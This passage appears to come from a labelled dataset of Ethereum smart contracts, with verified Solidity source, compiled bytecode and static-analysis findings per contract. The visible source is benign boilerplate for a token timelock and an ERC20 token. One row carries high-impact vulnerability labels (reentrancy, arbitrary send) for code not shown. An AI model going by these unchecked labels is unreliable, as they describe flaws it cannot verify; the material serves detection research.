0612c8282612ce9565b9150612c8d83612ce9565b925082821015612ca057612c9f612dbf565b5b828203905092915050565b6000612cb682612cc9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d0b82612ce9565b9050919050565b60005b83811015612d30578082015181840152602081019050612d15565b83811115612d3f576000848401525b50505050565b612d4e82612e4c565b810181811067ffffffffffffffff82111715612d6d57612d6c612e1d565b5b80604052505050565b6000612d8182612ce9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612db457612db3612dbf565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61310a81612cab565b811461311557600080fd5b50565b61312181612cbd565b811461312c57600080fd5b50565b61313881612ce9565b811461314357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c41ae462670f1bf01d3b8480c3d0421f1dc2567bce6f6d34e5cb53f62a0d7d8e64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,586 |
0xf11a28090677be447cc0f3b36426932f2d14cfe6 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract CoinovyTokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "CoinovyTokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "CoinovyTokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "CoinovyTokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f00000000000000000000000025acd44224b7490b3cfab0e916b32bd82053a316905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107f7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610837565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000068b494a7905090565b60007f000000000000000000000000e4ecb83db1b4769213a997334cd10a8c8a6a4ea3905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610857565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107d7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6026836108b3565b915061069982610974565b604082019050919050565b60006106b16039836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a602a836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f436f696e6f7679546f6b656e54696d656c6f636b3a2063757272656e7420746960008201527f6d65206973206265666f72652072656c656173652074696d6500000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f436f696e6f7679546f6b656e54696d656c6f636b3a206e6f20746f6b656e732060008201527f746f2072656c6561736500000000000000000000000000000000000000000000602082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea26469706673582212207b7232b790c374e4dcc016b6af5ed2562ecb1b7921d3d1d2b3837ef27d8db9b364736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 10,587 |
0x034Bc8BaF8D57A11840a68E83ad90F2e1677d4AE | /**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @dev LarvolToken
* Name Larvol
* Symbol LRV
* TotalSupply 21 Millions
*
*/
contract LarvolToken is ERC20 {
constructor () ERC20("Larvol", "LRV") {
_mint(msg.sender, 21000000 * (10 ** uint256(decimals())));
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b6